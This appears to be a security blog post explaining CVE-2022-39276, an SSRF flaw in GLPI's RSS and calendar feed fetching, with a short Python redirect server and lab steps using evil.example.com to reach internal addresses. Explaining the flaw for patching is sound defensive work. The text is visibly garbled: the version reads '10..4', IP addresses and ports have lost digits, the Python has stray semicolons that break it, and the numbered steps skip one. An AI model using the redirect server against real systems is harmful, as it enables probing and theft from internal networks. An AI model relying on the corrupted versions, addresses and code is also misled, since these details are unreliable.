CVE-2022-39276 - How GLPI’s RSS/Calendar Feature Led to a Serious SSRF Vulnerability

GLPI (Gestionnaire Libre de Parc Informatique) is widely used, especially by organizations looking for a free and robust asset and IT management solution. With its suite of features—ranging from ITIL Service Desk support to software license tracking—it’s trusted by thousands worldwide. However, like any complex platform, it can be vulnerable to security flaws. One such flaw was discovered and filed as CVE-2022-39276.

This post explains, in plain language, how this vulnerability worked, how attackers could use it, and what you need to do to stay safe.

Summary of CVE-2022-39276

GLPI allows users to add external RSS feeds or calendar sources (like iCal URLs) to help with planning and asset management. Unfortunately, this trusted feature hid a Server-Side Request Forgery (SSRF) flaw. Here’s how:

When GLPI fetched a feed or calendar, it followed HTTP redirects.

- The software did not check where those redirects were sending it, ignoring the administrator’s "allow list" of safe domains.
- That meant an attacker could create a harmless-looking link, which would redirect GLPI’s server to any target, possibly even systems behind your firewall.

This issue is patched in GLPI 10..4. If you use an older version, you are at risk. There are no known workarounds except for upgrading.

How SSRF Can Hurt You

SSRF lets attackers trick your server into making requests to arbitrary URLs—including services only reachable from your internal network. This could let them:

Attack internal admin panels, cloud metadata endpoints, and more

For example, if your server can reach http://localhost:800 or http://10...2/secret-api, an attacker could attempt to retrieve sensitive information from those URLs.

The Vulnerable GLPI Feature

### How RSS/Calendar Fetching Works

GLPI admins and users can set up external feeds using either RSS or iCalendar URLs. GLPI fetches data from these sources using HTTP requests.

The problem kicked in if the remote source responded with a redirect (HTTP 3xx), like so

HTTP/1.1 302 Found
Location: http://internal-resource.local/secret

GLPI would simply follow the redirect and fetch from the new address—without validating it against its configured allow list.

Demonstrating the Exploit: A Code Example

Let’s simulate how an attacker could use this flaw in a test or lab environment.

Suppose your GLPI instance is at https://glpi.example.org.

Steps

1. Attacker controls an external URL (say http://evil.example.com/).
2. They craft a page at that URL that simply issues a 302 redirect to an internal resource, such as http://localhost:808/admin.

Evil Server (Python minimal example)

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Redirect to internal service
        self.send_response(302)
        self.send_header('Location', 'http://127...1:808/admin';) # Target
        self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(('...', 800), RedirectHandler)
    print("Evil server running at http://...:800/";)
    server.serve_forever()

3. Victim (or attacker) sets up a new RSS feed or calendar in GLPI, pointing to http://evil.example.com/.

GLPI fetches this feed. The evil server replies with a redirect to the internal address.

5. GLPI blindly follows the redirect, fetching from the internal resource. Any response is leaked back to the attacker (in some cases), or the attacker confirms reachability.

Patched in: GLPI 10..4

- See Release Notes

Official advisories

- NIST NVD Entry
- GitHub Security Advisory
- GLPI Changelog

In Closing

CVE-2022-39276 is a classic example of how trusted “helper” features (like fetching web feeds) can become attack vectors if redirects and outbound traffic aren’t carefully controlled. For anyone running GLPI, upgrading is not just a good idea—it’s essential to keep your network safe.

Stay secure, keep your software up to date, and review feature configurations with a skeptical eye whenever your server is reaching out to the broader Internet!

Timeline

Published on: 11/03/2022 14:15:00 UTC
Last modified on: 11/03/2022 17:57:00 UTC